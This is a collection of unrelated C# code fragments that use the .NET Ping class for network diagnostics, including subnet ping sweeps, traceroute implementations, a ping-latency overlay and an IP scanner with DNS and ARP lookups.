MessageBox.Show("IP输入不正确!", "错误");
return;
}
SaveConfig();
for (int i = 0; i < tableLayoutPanel1.Controls.Count; i++)
{
var label = tableLayoutPanel1.Controls[i];
label.BackColor = Color.FromArgb(0, 240, 240, 240);
}
for (int i = int.Parse(textBox5.Text) - 1; i <= int.Parse(textBox6.Text) - 1; i++)
{
var tableLabel = SearchLabelFromTableLayoutPanel((i + 1).ToString());
tableLabel.BackColor = DefaultBackColor;
var thread = new Thread(() =>
{
System.Net.NetworkInformation.Ping ping = null;
var ipAddress = $"{textBox2.Text}.{textBox3.Text}.{textBox4.Text}.{tableLabel.Text}";
try
{
ping = new System.Net.NetworkInformation.Ping();
PingReply pingReply = ping.Send(ipAddress, int.Parse(textBox7.Text));
var pingable = pingReply.Status == IPStatus.Success;
if (pingable)
{
tableLabel.BackColor = Color.Green;
}
else
{
tableLabel.BackColor = Color.Red;
}
}
catch (Exception exception)
{
ping = new System.Net.NetworkInformation.Ping();
PingReply pingReply = ping.Send(ipAddress);
var pingable = pingReply?.Status == IPStatus.Success;
tableLabel.BackColor = pingable ? Color.Green : Color.Red;
Console.WriteLine(ipAddress);
Console.WriteLine(exception);
}
finally
{
ping?.Dispose();
}
});
try
{
thread.Start();
}
catch (Exception exception)
{
thread.Start();
}
}
}
public PingItem(string serverName, string ipToPing, double xPos, double yPos) : base()
{
Identifier = serverName;
XPos = xPos;
YPos = yPos;
var config = ConfigManager.GetPingConfig();
this.FontSize = config.PingFontSize;
if (config.GreyBackground)
{
this.Background = Brushes.LightGray;
}
if (config.PingOutline)
{
this.Effect = new DropShadowEffect()
{
ShadowDepth = 0, BlurRadius = 2, Color = Colors.White, Opacity = 1
};
}
_pingIPTimer = new System.Threading.Timer(async(state) =>
{
using (var ping = new System.Net.NetworkInformation.Ping())
{
try
{
var pReply = await ping.SendPingAsync(ipToPing);
if (pReply.Status == IPStatus.Success)
{
_pingAverages.Add((int)pReply.RoundtripTime);
_pingErrors = 0;
}
else if (pReply.Status == IPStatus.TimedOut)
{
_pingErrors++;
}
}
catch
{
_pingErrors++;
}
}
this.Dispatcher.Invoke(() =>
{
// If we fail 3 pings in a row, set the ping to "ERROR"
if (_pingErrors == 3)
{
this.Text = $"{serverName}: ERROR";
}
else
{
if (_pingAverages.AveragePing >= 150)
{
this.Foreground = config.HighPingBrush;
}
else if (_pingAverages.AveragePing >= 80)
{
this.Foreground = config.MediumPingBrush;
}
else
{
this.Foreground = config.LowPingBrush;
}
this.Text = $"{serverName}: {_pingAverages.AveragePing}";
}
});
}, null, 0, 1000);
}
public void TraceAsync(IPAddress ipAddress, CancellationToken cancellationToken)
{
Task.Run(async() =>
{
for (var i = 1; i < MaximumHops + 1; i++)
{
var tasks = new List <Task <Tuple <PingReply, long> > >();
for (var y = 0; y < 3; y++)
{
var i1 = i;
tasks.Add(Task.Run(() =>
{
var stopwatch = new Stopwatch();
PingReply pingReply;
using (var ping = new System.Net.NetworkInformation.Ping())
{
stopwatch.Start();
pingReply = ping.Send(ipAddress, Timeout, Buffer, new PingOptions {
Ttl = i1, DontFragment = DontFragement
});
stopwatch.Stop();
}
return(Tuple.Create(pingReply, stopwatch.ElapsedMilliseconds));
}, cancellationToken));
}
// ReSharper disable once CoVariantArrayConversion, no write operation
Task.WaitAll(tasks.ToArray());
var ipAddressHop = tasks.FirstOrDefault(x => x.Result.Item1 != null)?.Result.Item1.Address;
// Resolve Hostname
var hostname = string.Empty;
if (ResolveHostname && ipAddressHop != null)
{
try
{
var answer = await DnsLookupClient.GetHostNameAsync(ipAddressHop);
if (!string.IsNullOrEmpty(answer))
{
hostname = answer;
}
}
catch { } // Couldn't resolve hostname
}
OnHopReceived(new TracerouteHopReceivedArgs(i, tasks[0].Result.Item2, tasks[1].Result.Item2, tasks[2].Result.Item2, ipAddressHop, hostname, tasks[0].Result.Item1.Status, tasks[1].Result.Item1.Status, tasks[2].Result.Item1.Status));
// Check if finished
if (ipAddressHop != null && ipAddress.ToString() == ipAddressHop.ToString())
{
OnTraceComplete();
return;
}
// Check for cancel
if (!cancellationToken.IsCancellationRequested)
{
continue;
}
OnUserHasCanceled();
return;
}
// Max hops reached...
OnMaximumHopsReached(new MaximumHopsReachedArgs(MaximumHops));
}, cancellationToken);
}
private void ProcessHop(IPAddress address, IPStatus status, string time)
{
Int64 roundTripTime = 0;
if (status == IPStatus.Success || status == IPStatus.TtlExpired)
{
System.Net.NetworkInformation.Ping ping2 = new System.Net.NetworkInformation.Ping();
try
{
// Do another ping to get the roundtrip time per address.
PingReply reply = ping2.Send(address, this.HopTimeOut);
roundTripTime = reply.RoundtripTime;
status = reply.Status;
}
catch (Exception ex)
{
Log.Info(String.Empty, ex);
}
finally
{
ping2.Dispose();
ping2 = null;
}
}
if (this.cancel)
{
return;
}
TraceRouteHopData hop = new TraceRouteHopData(this.counter++, address, roundTripTime, status, time);
try
{
if (status == IPStatus.Success && this.ResolveNames)
{
IPHostEntry entry = Dns.GetHostEntry(address);
hop.HostName = entry.HostName;
}
}
catch (SocketException)
{
// No such host is known error.
hop.HostName = String.Empty;
}
lock (this.hopList)
this.hopList.Add(hop);
if (this.RouteHopFound != null)
{
this.RouteHopFound(this, new RouteHopFoundEventArgs(hop, this.Idle));
}
this.Idle = address.Equals(this.destinationIP);
lock (this.hopList)
{
if (!this.Idle && this.hopList.Count >= this.HopLimit - 1)
{
this.ProcessHop(this.destinationIP, IPStatus.Success, DateTime.Now.ToLongTimeString());
}
}
if (this.Idle)
{
this.OnCompleted();
this.Dispose();
}
}
private String getOtherIP()
{
String hostName = "";
try
{
// Get the local computer host name.
hostName = Dns.GetHostName();
Debug.Log("Computer name :" + hostName);
}
catch (Exception e)
{
Debug.Log("Exception caught!!!");
Debug.Log("Source : " + e.Source);
Debug.Log("Message : " + e.Message);
}
IPAddress[] addresses = Dns.GetHostAddresses(hostName);
Debug.Log($"GetHostAddresses({hostName}) returns:");
String myAddr = "";
foreach (IPAddress address in addresses)
{
if (address.AddressFamily == AddressFamily.InterNetwork && address.ToString().Substring(0, 3) == "192")
{
myAddr = address + "";// My IP
break;
}
Debug.Log($" {address}");
}
Debug.Log("MYADD : " + myAddr);
p = new System.Net.NetworkInformation.Ping();
String outIp = pingIps("192.168.43", myAddr);
if (outIp != "")
{
Debug.Log("Success! : " + outIp);
}
else
{
Debug.Log("Trying pt 2");
for (int i = 1; i <= 255; i++)
{
outIp = pingIps("192.168." + i + ".", myAddr);
if (outIp != "")
{
break;
}
}
if (outIp != "")
{
Debug.Log("\nSuccess! : " + outIp);
}
else
{
Debug.Log("\nFailure");
}
}
return(outIp);
}
protected static void Scriptlet_Ping(string Destination, int Count)
{
if (Count > 10 || Count <= 0)
{
CommandInterpreter.WriteToScreenWithNoInterrupt(AppOnlyScope.Status.CommandInformationMessage("Only values from 0 to 10 are interpreted. Using sane value 1."));
Count = 1;
}
try
{
CommandInterpreter.WriteToScreenWithNoInterrupt(AppOnlyScope.Status.CommandInformationMessage("Trying to reach '" + Destination + "' " + Count + " time(s)..."));
for (int i = 1; i <= Count; i++)
{
System.Threading.Thread.Sleep(1000); // increases amount of time between each ping to prevent request spam.
var ping = new System.Net.NetworkInformation.Ping();
var result = ping.Send(Destination);
if (result.Status != System.Net.NetworkInformation.IPStatus.Success)
{
Error = "Cannot reach destination host '" + Destination + "'";
ValidationResponse.ResponseFromCommandClass = Error;
ValidationResponse.CommandReturnedWasSuccessful = false;
}
if (result.Status == System.Net.NetworkInformation.IPStatus.TimedOut)
{
Error = "Timed out reaching '" + Destination + "'";
ValidationResponse.ResponseFromCommandClass = Error;
ValidationResponse.CommandReturnedWasSuccessful = false;
}
if (result.Status == System.Net.NetworkInformation.IPStatus.Unknown)
{
Error = "Unknown response received from '" + Destination + "'";
ValidationResponse.ResponseFromCommandClass = Error;
ValidationResponse.CommandReturnedWasSuccessful = false;
}
if (result.Status == System.Net.NetworkInformation.IPStatus.TimeExceeded)
{
Error = "The destination server for '" + Destination + "' discarded the packet sent to verify its status";
ValidationResponse.ResponseFromCommandClass = Error;
ValidationResponse.CommandReturnedWasSuccessful = false;
}
if (result.Status == System.Net.NetworkInformation.IPStatus.NoResources)
{
Error = "Insufficient network resources to process this command.";
ValidationResponse.ResponseFromCommandClass = Error;
ValidationResponse.CommandReturnedWasSuccessful = false;
}
if (result.Status == System.Net.NetworkInformation.IPStatus.Success)
{
IPHostEntry hostEntry;
hostEntry = Dns.GetHostEntry(Destination);
string IPAddress = hostEntry.AddressList[0].ToString();
string MessageResult = "Successfully received reply from '" + Destination + "' (" + IPAddress + ") (" + i + ")";
CommandInterpreter.WriteToScreenWithNoInterruptNoSpaces(AppOnlyScope.Status.CommandInformationMessage(MessageResult));
ValidationResponse.CommandReturnedWasSuccessful = true;
}
}
CommandInterpreter.WriteToScreenWithNoInterrupt(AppOnlyScope.Status.CommandInformationMessage("Operation completed."));
}
catch (Exception PingLocationException)
{
ValidationResponse.ResponseFromCommandClass = PingLocationException.Message;
ValidationResponse.CommandReturnedWasSuccessful = false;
}
}
public void ScanAsync(IPAddress[] ipAddresses, IPScannerOptions ipScannerOptions, CancellationToken cancellationToken)
{
// Start the scan in a separat task
Task.Run(() =>
{
_progressValue = 0;
// Modify the ThreadPool for better performance
ThreadPool.GetMinThreads(out int workerThreads, out int completionPortThreads);
ThreadPool.SetMinThreads(workerThreads + ipScannerOptions.Threads, completionPortThreads + ipScannerOptions.Threads);
try
{
var parallelOptions = new ParallelOptions
{
CancellationToken = cancellationToken,
MaxDegreeOfParallelism = ipScannerOptions.Threads
};
Parallel.ForEach(ipAddresses, parallelOptions, ipAddress =>
{
var pingInfo = new PingInfo();
var pingable = false;
// PING
using (var ping = new System.Net.NetworkInformation.Ping())
{
for (int i = 0; i < ipScannerOptions.ICMPAttempts; i++)
{
try
{
var pingReply = ping.Send(ipAddress, ipScannerOptions.ICMPTimeout, ipScannerOptions.ICMPBuffer);
if (pingReply != null && IPStatus.Success == pingReply.Status)
{
pingInfo = new PingInfo(pingReply.Address, pingReply.Buffer.Count(), pingReply.RoundtripTime, pingReply.Options.Ttl, pingReply.Status);
pingable = true;
break; // Continue with the next checks...
}
if (pingReply != null)
{
pingInfo = new PingInfo(ipAddress, pingReply.Status);
}
}
catch (PingException)
{
}
// Don't scan again, if the user has canceled (when more than 1 attempt)
if (cancellationToken.IsCancellationRequested)
{
break;
}
}
}
if (pingable || ipScannerOptions.ShowScanResultForAllIPAddresses)
{
// DNS
var hostname = string.Empty;
if (ipScannerOptions.ResolveHostname)
{
var options = new DNSLookupOptions()
{
UseCustomDNSServer = ipScannerOptions.UseCustomDNSServer,
CustomDNSServers = ipScannerOptions.CustomDNSServer,
Port = ipScannerOptions.DNSPort,
Attempts = ipScannerOptions.DNSAttempts,
Timeout = ipScannerOptions.DNSTimeout,
TransportType = ipScannerOptions.DNSTransportType,
UseResolverCache = ipScannerOptions.DNSUseResolverCache,
Recursion = ipScannerOptions.DNSRecursion,
};
hostname = DNSLookup.ResolvePTR(ipAddress, options).Item2.FirstOrDefault();
}
// ARP
PhysicalAddress macAddress = null;
var vendor = string.Empty;
if (ipScannerOptions.ResolveMACAddress)
{
// Get info from arp table
var arpTableInfo = ARP.GetTable().FirstOrDefault(p => p.IPAddress.ToString() == ipAddress.ToString());
if (arpTableInfo != null)
{
macAddress = arpTableInfo.MACAddress;
}
// Check if it is the local mac
if (macAddress == null)
{
var networkInferfaceInfo = NetworkInterface.GetNetworkInterfaces().FirstOrDefault(p => p.IPv4Address.Contains(ipAddress));
if (networkInferfaceInfo != null)
{
macAddress = networkInferfaceInfo.PhysicalAddress;
}
}
// Vendor lookup
if (macAddress != null)
{
var info = OUILookup.Lookup(macAddress.ToString()).FirstOrDefault();
if (info != null)
{
vendor = info.Vendor;
}
}
}
OnHostFound(new HostFoundArgs(pingInfo, hostname, macAddress, vendor));
}
IncreaseProcess();
});
OnScanComplete();
}
catch (OperationCanceledException) // If user has canceled
{
// Check if the scan is already complete...
if (ipAddresses.Length == _progressValue)
{
OnScanComplete();
}
else
{
OnUserHasCanceled();
}
}
finally
{
// Reset the ThreadPool to default
ThreadPool.GetMinThreads(out workerThreads, out completionPortThreads);
ThreadPool.SetMinThreads(workerThreads - ipScannerOptions.Threads, completionPortThreads - ipScannerOptions.Threads);
}
}, cancellationToken);
}
/// <summary>
/// Used to Ping a device on the network
/// </summary>
/// <returns>A IPStatus value, True if the device was successfully pinged</returns>
public static IPStatus PingStatus(string Name, string Domain)
{
var p = new System.Net.NetworkInformation.Ping();
return(p.Send(Name + Domain, 2700).Status);
}
public void SendTraceRoute(string Address, int Timeout, int MaxHops)
{
TracerouteDataStructure tds = new TracerouteDataStructure();
//yield return tds;
string hostname = Address;
// following are the defaults for the "traceroute" command in unix.
//timeout before going to another thing
int timeout = Timeout;
//max number of servers/hops to jump through before stopping
int maxTTL = MaxHops;
int currentmaxttl = 0;
Stopwatch g = new Stopwatch();
Stopwatch g2 = new Stopwatch();
byte[] buffer =
{
101, 108, 108, 111, 32, 116, 104, 101,
114, 101, 32, 99, 97, 110, 32, 121,
111, 117, 32, 115, 101, 101, 32, 116,
104, 105, 115, 32, 112, 105, 110, 103
};
System.Net.NetworkInformation.Ping pinger = new System.Net.NetworkInformation.Ping();
//PingStatusText = $"Traceroute Started on {hostname}" + Environment.NewLine;
for (int ttl = 1; ttl <= maxTTL; ttl++)
{
currentmaxttl++;
g.Start();
g2.Start();
PingOptions options = new PingOptions(ttl, true);
PingReply reply = null;
bool err = false;
//send ping
try
{
reply = pinger.Send(hostname, timeout, buffer, options);
}
catch (PingException es)
{
tds.Status = "PingException. Stopping..."; err = true;
tds.Route = $"{ es.Message}"; break;
}
catch (ArgumentException es)
{
tds.Status = "Argument Exception. Stopping..."; err = true;
tds.Route = $"{ es.Message} { es.ParamName}"; break;
}
catch (Exception exc)
{
tds.Status = "Generat Error Stopping..."; err = true;
tds.Route = $"{ exc.Message}"; break;
}
if (err)
{
OnStatusMessage?.Invoke(tds);
}
if (reply != null)
{
tds.AddressPosition = $"{ttl}";
tds.Interval = $"{g2.ElapsedMilliseconds} ms";
tds.Route = $"{reply.Address}";
tds.TotalTime = $"{g.ElapsedMilliseconds}";
if (reply.Status == IPStatus.TtlExpired)
{
// TtlExpired means we've found an address, but there are more addresses
tds.Status = "Success ->";
g2.Reset(); OnStatusMessage?.Invoke(tds);
continue;
}
if (reply.Status == IPStatus.BadRoute)
{
tds.Status = "Bad Route ->";
}
if (reply.Status == IPStatus.BadDestination)
{
tds.Status = "Bad Destination ->";
}
if (reply.Status == IPStatus.DestinationHostUnreachable)
{
tds.Status = "Bad Destination ->";
}
if (reply.Status == IPStatus.DestinationPortUnreachable)
{
tds.Status = "Bad Destination ->";
}
if (reply.Status == IPStatus.ParameterProblem)
{
tds.Status = "Bad Destination ->";
}
if (reply.Status == IPStatus.TimedOut)
{
// TimedOut means this ttl is no good, we should continue searching
tds.Status = "Timeout"; OnStatusMessage?.Invoke(tds);
continue;
}
if (reply.Status == IPStatus.Success)
{
// Success means the tracert has completed
//traceRouteViewModel.AddNewMessage($" -- ICMP Trace route completed : {reply.Address} in {g.ElapsedMilliseconds} ms --");
tds.Status = "ICMP Traceroute Complete";
//PingStatusText = "Traceroute Completed" + Environment.NewLine;
//PingStats += $"TraceRoute Completed." + Environment.NewLine;
g.Stop();
}
OnStatusMessage?.Invoke(tds);
}
// if we ever reach here, we're finished, so break
break;
}
if (currentmaxttl >= maxTTL)
{
tds.Status = "Max Hops Exceeded. Stopping...";
OnStatusMessage?.Invoke(tds);
//PingStatusText = $"Traceroute Stopped. Exceded {maxTTL} Hops." + Environment.NewLine;
}
}
public void TraceAsync(IPAddress ipAddress, TracerouteOptions traceOptions, CancellationToken cancellationToken)
{
Task.Run(() =>
{
byte[] buffer = new byte[traceOptions.Buffer];
int maximumHops = traceOptions.MaximumHops + 1;
int hop = 1;
do
{
List <Task <Tuple <PingReply, long> > > tasks = new List <Task <Tuple <PingReply, long> > >();
for (int i = 0; i < 3; i++)
{
tasks.Add(Task.Run(() =>
{
Stopwatch stopwatch = new Stopwatch();
PingReply pingReply;
using (System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping())
{
stopwatch.Start();
pingReply = ping.Send(ipAddress, traceOptions.Timeout, buffer, new System.Net.NetworkInformation.PingOptions()
{
Ttl = hop, DontFragment = traceOptions.DontFragement
});
stopwatch.Stop();
}
return(Tuple.Create(pingReply, stopwatch.ElapsedMilliseconds));
}));
}
Task.WaitAll(tasks.ToArray());
IPAddress ipAddressHop = tasks.FirstOrDefault(x => x.Result.Item1 != null).Result.Item1.Address;
string hostname = string.Empty;
try
{
if (ipAddressHop != null)
{
hostname = Dns.GetHostEntry(ipAddressHop).HostName;
}
}
catch (SocketException) { } // Couldn't resolve hostname
OnHopReceived(new TracerouteHopReceivedArgs(hop, tasks[0].Result.Item2, tasks[1].Result.Item2, tasks[2].Result.Item2, ipAddressHop, hostname, tasks[0].Result.Item1.Status, tasks[1].Result.Item1.Status, tasks[2].Result.Item1.Status));
if (ipAddressHop != null)
{
if (ipAddressHop.ToString() == ipAddress.ToString())
{
OnTraceComplete();
return;
}
}
hop++;
} while (hop < maximumHops && !cancellationToken.IsCancellationRequested);
if (cancellationToken.IsCancellationRequested)
{
OnUserHasCanceled();
}
else if (hop == maximumHops)
{
OnMaximumHopsReached(new MaximumHopsReachedArgs(traceOptions.MaximumHops));
}
}, cancellationToken);
}
private void ButtonStart_Click(object sender, EventArgs e)
{
if (string.IsNullOrEmpty(this.TextHost.Text.Trim()))
{
this.TextHost.Focus();
return;
}
this.TextHost.Text = this.TextHost.Text.Trim();
this.ButtonStart.Enabled = false;
this.TextHost.Enabled = false;
Application.DoEvents();
if (!this.pingRunning)
{
IPAddress[] list = null;
var msg = string.Empty;
try
{
list = Dns.GetHostAddresses(this.TextHost.Text);
if (list != null)
{
this.destination = list[0].ToString();
IPAddress ip;
this.hostName = IPAddress.TryParse(this.TextHost.Text, out ip) ? this.destination
: Dns.GetHostEntry(this.TextHost.Text).HostName;
this.counter = 1;
this.currentDelay = (int)this.DelayNumericUpDown.Value;
this.pingList = new List <PingReplyData>();
if (this.pingSender == null)
{
this.pingSender = new System.Net.NetworkInformation.Ping();
this.pingSender.PingCompleted += this.pingSender_PingCompleted;
}
this.pingRunning = true;
this.pingReady = true;
// Making sure previous timer is cleared before starting a new one
if (this.timer != null)
{
this.timer.Dispose();
this.timer = null;
}
// Start thread timer to start TrySend method for every ms in the specified delay updown box
var callback = new TimerCallback(this.TryPing);
this.timer = new Timer(callback, null, this.currentDelay, this.currentDelay);
}
}
catch (SocketException)
{
msg = string.Format("Could not resolve address: {0}", this.TextHost.Text);
this.pingRunning = false;
}
catch (ArgumentException)
{
msg = string.Format("Hostname or IP-Address is invalid: {0}", this.TextHost.Text);
this.pingRunning = false;
}
catch (Exception ex)
{
msg = string.Format("An error occured trying to ping {0}", this.TextHost.Text);
Logging.Info(msg, ex);
this.pingRunning = false;
}
finally
{
if (!this.pingRunning)
{
MessageBox.Show(msg, "Ping Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
this.ResetForm();
}
}
}
}
public static string SendPing(string host, int count)
{
string[] status = new string[count];
using (Ping ping = new Ping())
{
PingReply reply;
//byte[] buffer = Encoding.ASCII.GetBytes(new string('a', 32));
for (int i = 0; i < count; i++)
{
reply = ping.Send(host, 3000);
if (reply.Status == IPStatus.Success)
{
status[i] = reply.RoundtripTime.ToString() + " ms";
}
else
{
status[i] = "Timeout";
}
Thread.Sleep(100);
}
}
return string.Join(", ", status);
}
